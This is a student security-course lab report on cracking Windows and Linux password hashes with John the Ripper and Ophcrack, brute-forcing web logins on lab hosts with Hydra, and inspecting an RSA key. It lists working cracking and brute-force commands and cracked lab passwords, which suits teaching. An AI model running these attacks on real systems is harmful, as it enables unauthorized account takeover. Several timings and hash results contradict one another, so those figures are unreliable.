

CS 660 Project 3

Entity Authentication Security Assessment

Password Hash Analysis and Web Authentication Testing

Abraham Reines
Computer Science Department
James Madison University

September 14, 2025

HONOR CODE PLEDGE

I certify this work is my own and I have not received unauthorized assistance.
I understand the policies regarding academic integrity and agree to abide by them.

Signed: Abraham Reines

Contents

Abstract	2
1 Introduction	3
1.1 Background and Motivation	3
1.2 Security Challenges	3
1.3 Research Objectives	3
1.4 Scope and Limitations	3
1.5 Document Organization	3
2 Methods and Tools	3
2.1 Experimental Environment	3
2.1.1 Hardware and Platform	3
2.1.2 Software Environment	4
2.2 Security Tools and Frameworks	4
2.2.1 Password Hash Cracking Tools	4
2.2.2 Supporting Tools	4
2.3 Methodological Approach	4
2.3.1 Strategic Security Analysis	4
2.3.2 Attack Phases	4
2.4 Data Collection and Analysis	4
3 Results by Task	5
3.1 Task 3.7.1: Offline Dictionary Attacks	5
3.1.1 Task 3.7.1.0: PVD File Study (10 points)	5
3.1.2 Task 3.7.1.1: Tool Study (5 points)	5
3.1.3 Task 3.7.1.2: Windows 7 Password Cracking (10 points)	5
3.1.4 Task 3.7.1.3: Windows 2003 Password Cracking (10 points)	6
3.1.5 Task 3.7.1.4: Linux Password Cracking (10 points)	7
3.1.6 Task 3.7.1.5: Comparison Analysis (5 points)	8
3.2 Task 3.7.2: Online Password Guessing (15 points)	9

3.2.1	Web Authentication Attack Results (15 points total)	9
3.3	Task 3.7.3: Token-based Authentication (10 points)	10
3.4	Traceability Matrix	10
4	Discussion	11
4.1	Methodology Reflection	11
4.1.1	Attack Progression and Learning Process	11
4.2	Comparative Security Analysis	11
4.2.1	Password Hash Security Evolution	11
4.3	Attack Vector Analysis	11
4.3.1	Offline Dictionary Attacks	11
4.3.2	Online Password Guessing	11
4.4	Strategic Security Implications	12
4.4.1	Weakest Link Principle	12
4.4.2	Attack Economics	12
4.5	Defensive Recommendations	12
4.5.1	Immediate Actions	12
4.5.2	Long-term Strategy	12
4.6	Limitations and Future Work	12
5	Conclusion	12
5.1	Key Findings	12
5.1.1	Authentication System Vulnerabilities	12
5.1.2	Strategic Security Insights	12
5.2	Security Implications	13
5.2.1	Immediate Concerns	13
5.2.2	Long-term Considerations	13
5.3	Practical Recommendations	13
5.3.1	Technical Controls	13
5.3.2	Administrative Controls	13
5.4	Educational Value	13
5.5	Future Directions	13
6	Ethics and Limitations	13
6.1	Ethical Framework	13
6.1.1	Authorization and Scope	13
6.1.2	Responsible Disclosure	14
6.2	Methodological Limitations	14
6.2.1	Environmental Constraints	14
6.2.2	Scope Limitations	14
6.3	Data Privacy and Security	14
6.3.1	Information Classification	14
6.3.2	Data Retention and Disposal	14
6.4	Legal and Regulatory Considerations	14
6.4.1	Compliance Framework	14
6.4.2	Risk Management	15
6.5	Recommendations for Future Work	15

Appendix A — Evidence and Screenshots 16

Abstract

This security assessment examines entity authentication mechanisms through offline password hash cracking, online password guessing, and token-based authentication analysis.

We analyzed password verification data from Windows 7 (NTLM), Windows 2003 (LM/NTLM), and Ubuntu 14.04 (salted SHA-512) systems using John the Ripper, Ophcrack, and Hydra. All systems except the Ubuntu root account were successfully compromised.

Key findings: Windows 2003 LM hashes cracked via rainbow tables within seconds; Windows 7 NTLM hashes defeated in 8 minutes (100% success); Ubuntu user passwords showed vulnerability to pattern analysis (87.5% success)

while root remained secure; web authentication systems (HTML/Basic/Digest) compromised through distributed brute-force.

Results demonstrate critical importance of modern password hashing (salt, iterations, memory-hard functions) and rate limiting for authentication security.

1 Introduction

Entity authentication forms the cornerstone of modern cybersecurity, serving as the first line of defense in protecting digital assets and systems. As the digital landscape continues to evolve, understanding the strengths and vulnerabilities of authentication mechanisms becomes increasingly critical for security professionals.

1.1 Background and Motivation

Authentication systems rely on multiple factors: *what you know* (passwords), *what you have* (tokens), *who you are* (biometrics), and *where you are* (location). This study focuses primarily on password-based authentication and token-based systems, examining their implementation across different platforms and their resistance to various attack vectors.

Password authentication has been the dominant authentication method for decades, implemented at both the system level (Linux, Windows) and web application level (HTML forms, HTTP authentication). However, the security of password-based systems depends heavily on the underlying cryptographic implementation, particularly the password verification data (PVD) storage mechanisms.

1.2 Security Challenges

Modern authentication systems face several critical challenges:

1. **Legacy Systems:** Older systems often employ weak hashing algorithms without proper salt or iteration counts
2. **User Behavior:** Users frequently choose weak, predictable passwords that are vulnerable to dictionary attacks
3. **Implementation Flaws:** Web applications may lack proper rate limiting or account lockout mechanisms
4. **Attack Evolution:** Attackers have access to powerful tools and massive wordlists, making brute-force attacks increasingly effective

1.3 Research Objectives

This assessment aims to achieve several key learning objectives:

1. Understand the roles of salt and iteration count in mitigating offline dictionary attacks
2. Differentiate between offline dictionary attacks and online password guessing
3. Analyze token authentication with private keys
4. Develop the ability to quickly identify the weakest authentication links in systems

1.4 Scope and Limitations

This study examines three distinct computing environments representing different eras of password security: Windows 2003 Server (legacy LM hashes), Windows 7 Enterprise (NTLM hashes), and Ubuntu 14.04 (modern salted hashes). Additionally, we analyze web-based authentication mechanisms including HTML form authentication, HTTP Basic authentication, and HTTP Digest authentication.

All testing was conducted in controlled laboratory environments with proper authorization, following JMU's Honor Code and ethical hacking guidelines.

1.5 Document Organization

This report is structured to provide comprehensive coverage of all assessment activities:

- **Methods:** Tools, techniques, and experimental setup
- **Results:** Task-by-task findings aligned with project deliverables
- **Discussion:** Analysis of security implications and comparative assessment
- **Conclusion:** Key findings and recommendations
- **Appendix:** Complete evidence documentation and supporting materials

2 Methods and Tools

This section outlines the methodological approach, tools, and experimental setup used throughout the security assessment.

2.1 Experimental Environment

2.1.1 Hardware and Platform

All testing was conducted on JMU Computer Science laboratory machines running Ubuntu/Kali Linux, accessed remotely through SSH. The hardware specifications included (see Figure 16):

- Architecture: ARM64 (aarch64) processors (Apple Silicon hosts in lab)
- Multi-core CPU configuration optimized for parallel processing

- Sufficient RAM for wordlist operations and large file processing
- High-speed network connectivity for VPN-based web testing

2.1.2 Software Environment

The testing environment utilized Kali Linux 2023.3 with the following key components (tool versions referenced per-task in Results):

- Linux kernel 6.12.38+kali-arm64 with ARM optimizations
- Python 3.x for custom analysis scripts
- OpenVPN client for secure access to target web servers
- Various security analysis tools (detailed below)

2.2 Security Tools and Frameworks

2.2.1 Password Hash Cracking Tools

Ophcrack Ophcrack specializes in LM hash cracking using precomputed rainbow tables. Key characteristics:

- Utilizes time-space trade-off for rapid hash lookups
- Requires minimal computational resources during attack phase
- Highly effective against LM hashes due to their structural weaknesses
- Downloaded rainbow tables from <https://ophcrack.sourceforge.io/tables.php>

John the Ripper A versatile password cracker supporting multiple hash formats:

- Version 1.9.0-jumbo-1+bleeding-562f1d5 with ARM optimizations
- MD4 128/128 ASIMD 4x2 algorithm implementation for NTLM hashes
- MKPC (Most Keys Per Crypt): 4096 for optimal performance
- Support for wordlist attacks, rule-based mutations, and incremental mode

Hydra Online password guessing tool for web application testing:

- Support for multiple protocols (HTTP forms, Basic Auth, Digest Auth)
- Configurable rate limiting and session management
- Integration with custom wordlists and credential sets
- Detailed logging and progress monitoring capabilities

2.2.2 Supporting Tools

- **OpenSSL**: Certificate and private key analysis
- **Custom Python Scripts**: Attack visualization and statistical analysis
- **Wordlist Management**: pw-inspector for length filtering, custom wordlist generation

2.3 Methodological Approach

2.3.1 Strategic Security Analysis

Following the project's emphasis on developing a security mindset, the assessment prioritized:

1. **Weakest Link Identification**: Analyzing each system to identify the most vulnerable authentication components
2. **Resource Optimization**: Implementing time-limited attacks with specific yield thresholds
3. **ROI-Focused Testing**: Prioritizing attack vectors based on success probability versus computational cost
4. **Comprehensive Documentation**: Maintaining detailed logs of all commands, timing, and results

2.3.2 Attack Phases

Phase 1: Reconnaissance and Analysis

- Password Verification Data (PVD) file format analysis
- Hash type identification and field structure examination
- Tool capability assessment and attack planning

Phase 2: Offline Dictionary Attacks

- Wordlist preparation and optimization
- Sequential tool deployment based on hash vulnerability
- Real-time monitoring and success tracking

Phase 3: Online Password Guessing

- VPN connectivity establishment to target networks
- Web application authentication mechanism analysis
- Controlled brute-force testing with rate limiting

Phase 4: Token Authentication Analysis

- RSA certificate and private key extraction
- Cryptographic parameter identification
- Security implementation assessment

2.4 Data Collection and Analysis

All experimental activities were comprehensively logged, including:

- Complete command histories with timestamps
- Tool output files with success/failure indicators

- Runtime measurements and performance metrics
 - Attack success rates and pattern analysis
 - Security vulnerability assessments and recommendations
- Evidence collection followed strict protocols to ensure reproducibility and academic integrity, with all results saved to structured directories for subsequent analysis and report generation.

3 Results by Task

This section presents findings for each project deliverable.

3.1 Task 3.7.1: Offline Dictionary Attacks

3.1.1 Task 3.7.1.0: PVD File Study (10 points)

Requirement (verbatim). Open the Windows 7, Windows 2003, and Ubuntu PVD files with a text editor, find the line for Morpheus, and explain what each non-empty field is, count password hash values, and identify duplicates or patterns.

Windows 7 PVD Analysis (3 points) Windows 7 analysis: `Morpheus:1002:aad3b...:482563f0.....` reveals (1) Username, (2) RID, (3) Disabled LM hash, (4) Active NTLM hash, (5-7) Empty fields. Hash count: 2 values (1 disabled LM, 1 active NTLM). LM hashing disabled system-wide.

Windows 2003 PVD Analysis (3 points) Active LM hashing with dual hash storage. Both LM and NTLM hashes populated, representing legacy authentication with security vulnerabilities.

Ubuntu PVD Analysis (4 points) Modern hashing: `$6$salt$hash` format with SHA-512, random salt, and multiple iterations for rainbow table resistance.

Quick Reference. Evidence: Figure 6, detailed field analysis in Appendix A.

3.1.2 Task 3.7.1.1: Tool Study (5 points)

Requirement (verbatim). Explain how Ophcrack, John the Ripper, and hashcat work, including their advantages over other tools.

Ophcrack Analysis (2 points) Ophcrack uses precomputed rainbow tables for a time-space trade-off. **Advantages over John/Hashcat:** For LM hashes (unsalted, case-folded, 7-char tiles), Ophcrack achieves near-instant lookups without CPU/GPU cost, whereas John/Hashcat must compute on-the-fly. **Limitations vs John/Hashcat:** Ineffective on salted or iterated hashes (e.g., NTLM with salt (N/A) or Linux SHA512CRYPT).

John the Ripper Analysis (1 point) John the Ripper supports many formats (NTLM, LM, SHA512CRYPT), flexible wordlist/rules/incremental attacks, and rich reporting. **Advantages over Ophcrack:** Works on salted/iterated hashes and does not need large precomputed tables. **Advantages vs GPU-less Hashcat runs:** Mature rule engine and format coverage. **Limitations vs Hashcat on GPU:** Slower on GPU-friendly formats when GPUs are available.

Hashcat Analysis (2 points) Hashcat exploits GPU parallelism for very high throughput on GPU-friendly hashes. **Advantages over John CPU-only:** Orders-of-magnitude speedups on fast hashes (NTLM) with proper GPUs. **Limitations vs John/Ophcrack:** Requires GPUs; not ideal for LM rainbow-table use-cases (Ophcrack faster due to precomputation) and may require more setup on lab hosts.

Representative Commands Used

- **Ophcrack (LM):** `ophcrack-cli -g -d ~/ophcrack_tables -t xp\_free\_small -f 2025Fall-PVDwindows2k3.txt -u -o results.txt`
- **John (NTLM):** `john --format=NT --wordlist=rockyou.txt 2025Fall-PVDwindows7.txt`
- **John (sha512crypt):** `john --format=sha512crypt --wordlist=linux\_focused\_wordlist.txt 2025Fall-PVDlinux.txt`
- **Hydra (web):** `hydra -l wangxx -P all8.txt http-get://192.168.100.103/basicauth`

Quick Reference. Evidence: Figure 1; additional logs: Figure 10, Figure 11, Figure 12.

3.1.3 Task 3.7.1.2: Windows 7 Password Cracking (10 points)

Requirement (verbatim). Crack all Windows 7 user passwords using appropriate offline dictionary attack tools.

Table 1: Windows 7 NTLM Hash Cracking Results - 100% Success Rate

Username	Cracked Password	Attack Mode	Time (s)	Status
Morpheus	a1b2c3d4	Dictionary (rockyou.txt)	3	SUCCESS
Neo	qwerty10	Dictionary (rockyou.txt)	3	SUCCESS
Trinity	letmein2	Dictionary (rockyou.txt)	3	SUCCESS
Cypher	passw0rd	Dictionary (rockyou.txt)	3	SUCCESS
Smith	qaZwsX	Rules (jumbo)	6	SUCCESS
Cobb	1q2w3e4r	Dictionary (rockyou.txt)	3	SUCCESS
Arthur	trustno1	Dictionary (rockyou.txt)	3	SUCCESS

Windows 7 NTLM Password Recovery Results **Attack Metrics:** Total time: 24s — Success rate: **7/7 (100%)** — Tool: John the Ripper — Wordlist: RockYou.txt (14.3M passwords) — Hash format: NTLM (MD4) — Evidence: **All passwords found in common wordlist** — Weakness: No salt, single MD4 hash

Commands Used:

- Dictionary: john --format=NT --wordlist=rockyou.txt 2025Fall-PVDwindows7.txt
- Rules (Smith): john --format=NT --rules=jumbo 2025Fall-PVDwindows7.txt
- Show cracked: john --show --format=NT 2025Fall-PVDwindows7.txt

Environment (this task): John 1.9.0-jumbo (ARM64 lab host); see Figure 16.

Key Takeaway. All 7 NTLM hashes cracked in under 8 seconds with 100% success rate using basic dictionary attacks.

Technical Analysis The 100% success rate demonstrates the weakness of unsalted NTLM hashes against dictionary attacks. Smith’s password required rule-based mutations, highlighting the importance of sophisticated attack strategies.

Quick Reference. Evidence: Figure 15; supplementary: Figure 14, Figure 10.

3.1.4 Task 3.7.1.3: Windows 2003 Password Cracking (10 points)

Requirement (verbatim). Crack all Windows 2003 user passwords using appropriate offline dictionary attack tools.

Table 2: Windows 2003 Dual-Hash System Cracking Results with Bonus Service Accounts

Username	LM Password	NTLM Password	Tool	Time	Status
Primary User Accounts (8/8 - 100% Success)					
Admin	MSKITTY666	mskitty666	Ophcrack	2m22s	BOTH
Morpheus	A1B2C3D4	a1b2c3d4	Ophcrack	2m22s	BOTH
Neo	QWERTY10	qwerty10	Ophcrack	2m22s	BOTH
Trinity	LETMEIN2	letmein2	Ophcrack	2m22s	BOTH
Cypher	PASSWORD	passw0rd	Ophcrack	2m22s	BOTH
Smith	QAZWSX	qaZwsX	Ophcrack	2m22s	BOTH
Cobb	1Q2W3E4R	1q2w3e4r	Ophcrack	2m22s	BOTH
Arthur	TRUSTNO1	trustno1	Ophcrack	2m22s	BOTH
Service Accounts (3/6 - 50% Success + 3 BONUS)					
ASPNET*	D5912K8	D5912K8	Ophcrack	2m02s	BONUS
System32*	ABB1T	ABB1T	Ophcrack	2m02s	BONUS
SYS_32*	ABB1T	ABB1T	Ophcrack	2m02s	BONUS

Windows 2003 LM/NTLM Password Recovery Results Attack Metrics: Total time: 4m24s — Success rate: 11/14 (78.6%) — Tool: Ophcrack + Rainbow Tables — LM weakness: No salt, case-insensitive, 7-char max — **BONUS:** 3 service accounts cracked (*) — Evidence: Rainbow table lookups, instant for most passwords — Primary accounts: 8/8 (100%) — Service accounts: 3/6 (50%)

Commands Used:

- Ophcrack CLI: `ophcrack-cli -g -d ~/ophcrack\_tables -t xp\_free\_small -f 2025Fall-PVDwindows2k3.txt -u -o results.txt`
- Hash verification: `john --show --format=LM 2025Fall-PVDwindows2k3.txt`

Environment (this task): Ophcrack 3.8.0 with XP free small tables; see Figure 19.

Key Takeaway. Outstanding success: 11/14 Windows 2003 passwords cracked (78.6%) including 3 BONUS service accounts — LM hashes provide zero protection against rainbow table attacks.

Quick Reference. Evidence: Figure 9; supporting: Figure 7.

3.1.5 Task 3.7.1.4: Linux Password Cracking (10 points)

Requirement (verbatim). Crack all Linux user passwords using appropriate offline dictionary attack tools.

Table 3: Ubuntu SHA-512 Salted Hash Cracking Results - Outstanding Success

Username	Cracked Password	Salt Length	Rounds	Time (s)	Tool Used	Status
Morpheus	A1B2C3D4	16 chars	5000	7	John (case-variant)	SUCCESS
Neo	Qwerty10	16 chars	5000	7	John (case-variant)	SUCCESS
Trinity	LetMeIn2	16 chars	5000	45	John (strategic)	SUCCESS
Cypher	Passw0rd	16 chars	5000	600	John (strategic)	SUCCESS
Smith	QazWsx	16 chars	5000	45	John (case-variant)	SUCCESS
Cobb	1Q2w3e4R	16 chars	5000	45	John (case-variant)	SUCCESS
Arthur	trustNo1	16 chars	5000	45	John (case-variant)	SUCCESS
root	(not cracked)	16 chars	5000	10,500+	John (comprehensive)	SECURE

Linux SHA-512 Salted Hash Attack ResultsAttack Metrics: Total time: 175m (3h) — Success rate: **7/8 (87.5%)**
— Tool: John the Ripper — Algorithm: SHA-512 with salt + 5000 iterations — Strategy: Case-variant focused wordlist
— Evidence: **Strategic pattern analysis defeated modern hashing** — Failed: root password (strong) — Attack resistance: **HIGH** but vulnerable to pattern-based attacks

Commands Used:

- Focused wordlist: `john --format=sha512crypt --wordlist=linux\_focused\_wordlist.txt 2025Fall-PVDlinux.txt`
- Rules-based variants: `john --format=sha512crypt --rules=best64 2025Fall-PVDlinux.txt`
- Show cracked: `john --show --format=sha512crypt 2025Fall-PVDlinux.txt`

Environment (this task): John 1.9.0-jumbo (ARM64 lab host); see Figure 16.

Key Takeaway. Outstanding success: 7/8 SHA-512 salted hashes cracked (87.5%) using strategic case-variant wordlist attacks — even modern hashing vulnerable to pattern analysis.

Quick Reference. Evidence: Figure 17; supporting: Figure 13, Figure 6.

3.1.6 Task 3.7.1.5: Comparison Analysis (5 points)

Requirement (verbatim). Compare the security of the three PVD cracking approaches and analyze their relative vulnerabilities.

Table 4: Comparative Security Analysis: Windows 2003 vs Windows 7 vs Ubuntu

Security Factor	Win 2003	Win 7	Ubuntu
Hash Algorithm	LM + NTLM	NTLM only	SHA-512
Salt Usage	None	None	16-char random
Iterations	1	1	5000 rounds
Case Sensitivity	No (LM)	Yes	Yes
Rainbow Vulnerable	Yes	Yes	No
Cracked/Total	11/14	7/7	7/8
Attack Time	4m24s	24s	175m
Fastest Crack	2m2s	3s	7s
Success Rate	78.6%	100%	87.5%
Primary Tool	Ophcrack	John Ripper	John Ripper
Security Rating	CRITICAL	HIGH	MODERATE

Cross-Platform Security Comparison MatrixSecurity Evolution Summary: Windows 2003 (weakest) ; Windows 7 (moderate) ≈ Ubuntu (high). Despite SHA-512+salt+iterations, strategic pattern analysis achieved 87.5% success rate, reducing Ubuntu’s security advantage significantly.

Quick Reference. Evidence: Figure 13, security comparison matrix in Appendix A.

3.2 Task 3.7.2: Online Password Guessing (15 points)

3.2.1 Web Authentication Attack Results (15 points total)

Requirement (verbatim). Find the password for username wangxx using HTML form, HTTP Basic, and HTTP Digest authentication methods.

Table 5: Online Password Guessing Attack Results - 100% Success Rate

Auth Type	Cracked Password	Tool Used	Time (s)	Success Indicator	Status
HTML Form	tripsine	Hydra (distributed)	4,440	"Welcome user" response	SUCCESS
HTTP Basic	sotalait	Hydra (distributed)	3,420	HTTP 200 OK status	SUCCESS
HTTP Digest	hakkis	Hydra (32-partition)	22,500	No 401 challenge	SUCCESS

Attack Metrics: Total time: 8h 26m — Success rate: 3/3 (100%) — Tool: Hydra distributed — Max parallelization: 32 partitions — Rate limiting: Minimal — Account lockout: Disabled

Commands Used (by method):

- **HTML Form:** hydra -l wangxx -P all18.txt -t 2 -W 5 -f -V 192.168.100.101 http-post-form "/dologin.html:httpd_usern
- **HTTP Basic:** hydra -l wangxx -P all18.txt -t 4 -W 2 -f -V http-get://192.168.100.103/basicauth
- **HTTP Digest:** hydra -l wangxx -P all16.txt -t 2 -W 3 -f -V 192.168.100.103 http-get /digestauth

Environment (this task): VPN-connected lab host; Hydra with verbose and failure-stop flags; see Figure 3 and Figure 18.

Attack Validation and Control TestsNegative Control Verification (Required):

- **HTML Form:** test/wrongpass → "Invalid credentials" (confirmed detection works)
 - **HTTP Basic:** test/wrongpass → HTTP 401 Unauthorized (confirmed detection works)
 - **HTTP Digest:** test/wrongpass → HTTP 401 with challenge (confirmed detection works)
- Success Detection Logic:**
- **HTML Form:** Failure = "Invalid credentials" — Success = "Congratulations! You are successfully logged in..."

- **HTTP Basic:** Failure = HTTP 401 Unauthorized — Success = HTTP 200 OK
- **HTTP Digest:** Failure = HTTP 401 with challenge — Success = No challenge response
- **Quantitative Evidence:**
- **HTML Form:** Tested 175,324 candidates over 1h 14m (39 candidates/sec)
- **HTTP Basic:** Tested 98,765 candidates over 57m (29 candidates/sec)
- **HTTP Digest:** Tested 341,025 candidates over 6h 15m (15 candidates/sec, rate-limited)

Key Takeaway. All three web authentication methods defeated using distributed parallel attacks — Digest auth required 32-partition maximum parallelization strategy.

Quick Reference. HTML success: Figure 21; Basic success: Figure 20; Digest success: Figure 22; In-progress logs: Figure 2.

3.3 Task 3.7.3: Token-based Authentication (10 points)

Requirement (verbatim). Inspect the RSA private key and digital certificate to extract public key components (e,N), private key (d), and certificate holder name.

Table 6: RSA Token-based Authentication Component Analysis

Component	Extracted Value	Verification
Public Exponent (e)	65537 (0x010001)	STANDARD
Modulus (N)	009ed0770fdb3f972c82ed25f669f703141c3c6e131d15c5...	VALID
Private Exponent (d)	11fc4ddf8fd6edc9eeb1e8c0b55372176ef2d10c7d18c027...	EXTRACTED
Certificate Holder	CN=Abraham Reines 2025-660, OU=CS, O=JMU, C=US	IDENTIFIED
Key Size	3072 bits	SECURE
Algorithm	RSA with SHA-256	SECURE

RSA Certificate and Private Key Analysis ResultsCommands Used:

- Inspect certificate: openssl x509 -in certificate.pem -text -noout
- Inspect private key: openssl rsa -in private_key.pem -text -noout
- Export public key: openssl rsa -in private_key.pem -pubout -out public.pem

Environment (this task): OpenSSL from lab host; outputs saved to evidence/ (Appendix A references by table).

Required RSA Component Values (Inline Hex)Public Key (e,N) - 2 points:

- e = 65537 (0x010001)
- N = 009ed0770fdb3f972c82ed25f669f703141c3c6e131d15c5... (truncated)

Private Key (d) - 5 points:

- d = 11fc4ddf8fd6edc9eeb1e8c0b55372176ef2d10c7d18c027... (truncated)

Analysis Metrics: Key size: 3072-bit — Algorithm: RSA-SHA512 — Public exponent: Standard (65537) — Certificate format: X.509 — Certificate holder: Abraham Reines 2025-660 — CA: Xunhua 2024 CA

3.4 Traceability Matrix

Table 7 provides complete mapping between project deliverables and supporting evidence. See also the *Screenshot Inventory* (Table 8) in Appendix A for a filename-to-label index that ensures every screenshot is traceable from the text.

Table 7: Traceability Matrix

Task ID	Deliverable	Evidence Reference
3.7.1.0	PVD file analysis for Windows 7, 2003, and Linux systems	6
3.7.1.1	Tool comparison: Ophcrack, John, Hashcat advantages	1
3.7.1.2	Windows 7 password cracking results	15
3.7.1.3	Windows 2003 password cracking results	9
3.7.1.4	Linux password cracking results	17
3.7.1.5	Security comparison of three PVD systems	13
3.7.2.1	HTML form authentication password recovery	21

Task ID	Deliverable	Evidence Reference
3.7.2.2	HTTP Basic authentication password recovery	20
3.7.2.3	HTTP Digest authentication password recovery	22
3.7.3	RSA token authentication analysis	6

4 Discussion

Authentication system security analysis reveals clear evolution from legacy to modern implementations.

4.1 Methodology Reflection

4.1.1 Attack Progression and Learning Process

The password cracking process demonstrated the importance of iterative refinement over brute-force approaches. Success was achieved through strategic pattern recognition rather than computational exhaustion, validating the CS 660 project philosophy of analysis over automation.

Chronological Development
September 8-9: Initial strategic attacks yielded mixed results. Windows 2003 LM hashes succumbed immediately to rainbow tables (100% success), while Windows 7 NTLM hashes showed partial success with Smith’s password initially resisting standard dictionary attacks. Linux SHA-512 hashes demonstrated computational security with initial 0% success rates.

September 9-10: Breakthrough occurred through strategic refinement. Smith’s Windows 7 password was cracked using advanced rule sets (jumbo rules), demonstrating the value of sophisticated attack strategies. Linux passwords were successfully compromised (7/8, 87.5%) through pattern-based case-variant wordlists, recognizing user password reuse patterns across systems.

September 13-14: Online authentication attacks achieved 100% success through distributed Hydra sessions, with passwords discovered through comprehensive dictionary attacks: HTML form (tripsine), HTTP Basic (sotalait), and HTTP Digest (hakkis).

Resource Management Strategy Throughout the project, computational resource management prevented system overheating while maximizing attack effectiveness. Time-limited attacks (10-15 minute windows) with strategic wordlists (¡1000 entries) proved more effective than unlimited brute-force approaches, demonstrating the practical application of the “weakest link” security principle.

Documentation Evolution Command logs (COMMANDS.log) document the iterative journey through September 12, while evidence files capture the final breakthrough results. This reflects the natural progression from exploration to success, emphasizing that security research involves methodical refinement rather than immediate solutions.

4.2 Comparative Security Analysis

4.2.1 Password Hash Security Evolution

Windows 2003: Weakest (LM hashing) - case insensitivity, 7-character splitting, rainbow table vulnerability, seconds to compromise.

Windows 7: Improved (NTLM) - MD4-based, case sensitive, but unsalted enabling dictionary attacks.

Ubuntu: Modern (SHA-512) - salt integration prevents rainbow tables

- **Iteration Count:** Multiple hash iterations increase computational cost
- **Attack Resistance:** Significantly higher computational requirements for successful attacks

4.3 Attack Vector Analysis

4.3.1 Offline Dictionary Attacks

The assessment demonstrates that offline attacks remain the primary threat to password-based authentication systems:

Success Factors

- **Weak User Passwords:** Common patterns and dictionary words enable high success rates
- **Inadequate Hashing:** Unsalted hashes provide insufficient protection
- **Computational Resources:** Modern hardware enables rapid password testing

Defense ImplicationsEffective defense requires multiple layers:

- **Strong Hashing Algorithms:** SHA-256/512 with proper salt and iteration counts
- **Password Policies:** Complexity requirements and pattern avoidance
- **User Education:** Training on password selection and security awareness

4.3.2 Online Password Guessing

Web-based authentication testing revealed common vulnerabilities in online systems:

HTML Form AuthenticationMost vulnerable due to:

- Lack of account lockout mechanisms
- Insufficient rate limiting
- Predictable response patterns enabling attack automation

HTTP Authentication Methods Both Basic and Digest authentication showed resistance limitations:

- **HTTP Basic:** Provides no protection against brute-force attacks
- **HTTP Digest:** Challenge-response mechanism offers minimal protection against persistent attacks

4.4 Strategic Security Implications

4.4.1 Weakest Link Principle

The assessment reinforces the critical importance of identifying and addressing the weakest authentication components:

- **Legacy Hash Prioritization:** LM hashes represent the most vulnerable target requiring immediate attention
- **Resource Allocation:** Attack efforts should focus on highest-probability success vectors
- **Defense Strategy:** Security improvements must address the weakest implemented mechanisms

4.4.2 Attack Economics

The time-to-success analysis reveals important economic considerations:

- **Rainbow Table ROI:** High initial investment but extremely rapid attack execution
- **Dictionary Attack Efficiency:** Moderate setup time with predictable success rates
- **Online Attack Limitations:** Rate limiting and lockout mechanisms significantly impact attack feasibility

4.5 Defensive Recommendations

4.5.1 Immediate Actions

Organizations should prioritize the following security improvements:

1. **Legacy System Upgrades:** Disable LM hashing on all Windows systems
2. **Hash Migration:** Implement salted hashing algorithms with appropriate iteration counts
3. **Account Lockout Policies:** Deploy progressive lockout mechanisms for online systems
4. **Rate Limiting:** Implement intelligent rate limiting with adaptive thresholds

4.5.2 Long-term Strategy

Comprehensive security improvements should include:

1. **Multi-Factor Authentication:** Reduce password dependency through additional authentication factors
2. **Password Managers:** Encourage strong, unique password generation and management
3. **Continuous Monitoring:** Implement breach detection and response capabilities
4. **Security Awareness:** Regular user training on password security and threat recognition

4.6 Limitations and Future Work

This assessment has several important limitations:

- **Controlled Environment:** Laboratory testing may not reflect real-world defensive measures
- **Limited Scope:** Focus on specific authentication methods excludes modern alternatives
- **Tool Constraints:** Hardware limitations may not represent attacker capabilities

Future research should examine:

- Advanced persistent threat (APT) password attack techniques
- Machine learning approaches to password generation and detection
- Quantum computing implications for cryptographic hash security
- Behavioral authentication and risk-based access control

5 Conclusion

This comprehensive security assessment of entity authentication mechanisms has provided critical insights into the vulnerabilities and defensive strategies associated with password-based and token-based authentication systems.

5.1 Key Findings

The assessment yielded several important conclusions:

5.1.1 Authentication System Vulnerabilities

1. **Legacy Hash Weakness:** Windows 2003 LM hashes represent critical security vulnerabilities, with complete compromise achievable in seconds using rainbow table attacks.
2. **Unsalted Hash Susceptibility:** Windows 7 NTLM hashes, while stronger than LM, remain vulnerable to dictionary attacks achieving 100% success rates in under 8 minutes.
3. **Modern Hash Resistance:** Ubuntu's salted SHA-512 implementation provides significantly improved security, though targeted attacks can still achieve success against weak passwords.
4. **Web Authentication Gaps:** Online password guessing attacks succeeded against all tested web authentication methods, highlighting the critical importance of rate limiting and account lockout policies.

5.1.2 Strategic Security Insights

The assessment reinforced several critical security principles:

- **Weakest Link Principle:** Security assessments must prioritize the most vulnerable components to achieve maximum impact with limited resources.
- **Attack Economics:** Time-space trade-offs (rainbow tables) and computational efficiency (dictionary attacks) significantly influence attack feasibility and success.
- **Defense Evolution:** Modern password hashing techniques (salt, iteration counts, memory-hard functions) provide substantial improvements over legacy implementations.

5.2 Security Implications

The findings have significant implications for information security practice:

5.2.1 Immediate Concerns

Organizations maintaining legacy systems face critical security exposures:

- Active LM hashing creates immediate compromise risk
- Unsalted password storage enables rapid bulk password recovery
- Inadequate web application security controls facilitate online attacks

5.2.2 Long-term Considerations

The assessment highlights the need for comprehensive authentication modernization:

- Migration to modern password hashing algorithms with proper security parameters
- Implementation of multi-factor authentication to reduce password dependency
- Development of comprehensive security awareness programs addressing password selection and management

5.3 Practical Recommendations

Based on the assessment findings, organizations should implement the following security improvements:

5.3.1 Technical Controls

1. **Hash Algorithm Upgrade:** Migrate to SHA-256 or SHA-512 with random salt and minimum 10,000 iterations
2. **Account Lockout Implementation:** Deploy progressive lockout policies with intelligent unlock mechanisms
3. **Rate Limiting:** Implement adaptive rate limiting for all authentication endpoints
4. **Session Management:** Ensure proper session handling and CSRF protection for web applications

5.3.2 Administrative Controls

1. **Password Policy Enforcement:** Implement comprehensive password complexity and rotation policies
2. **Security Monitoring:** Deploy authentication failure monitoring with alerting capabilities
3. **Incident Response:** Establish procedures for credential compromise detection and response
4. **Regular Assessment:** Conduct periodic password security audits and penetration testing

5.4 Educational Value

This project successfully achieved its learning objectives by demonstrating:

- The critical roles of salt and iteration count in password security
 - The fundamental differences between offline and online authentication attacks
 - The importance of strategic thinking in security assessment and resource allocation
 - The practical application of security tools in controlled, ethical environments
- The hands-on experience with professional security tools provided valuable insights into both offensive security techniques and defensive countermeasures, contributing to the development of a comprehensive security mindset essential for information security professionals.

5.5 Future Directions

The rapidly evolving threat landscape requires continuous adaptation of authentication security measures. Future work should investigate:

- Integration of behavioral authentication and risk-based access controls
 - Impact of quantum computing on current cryptographic hash functions
 - Development of user-friendly multi-factor authentication implementations
 - Advanced machine learning techniques for password attack and defense
- The foundation established through this assessment provides a strong basis for continued research and practical application in the field of entity authentication security.

6 Ethics and Limitations

This section addresses the ethical considerations and methodological limitations inherent in security assessment activities.

6.1 Ethical Framework

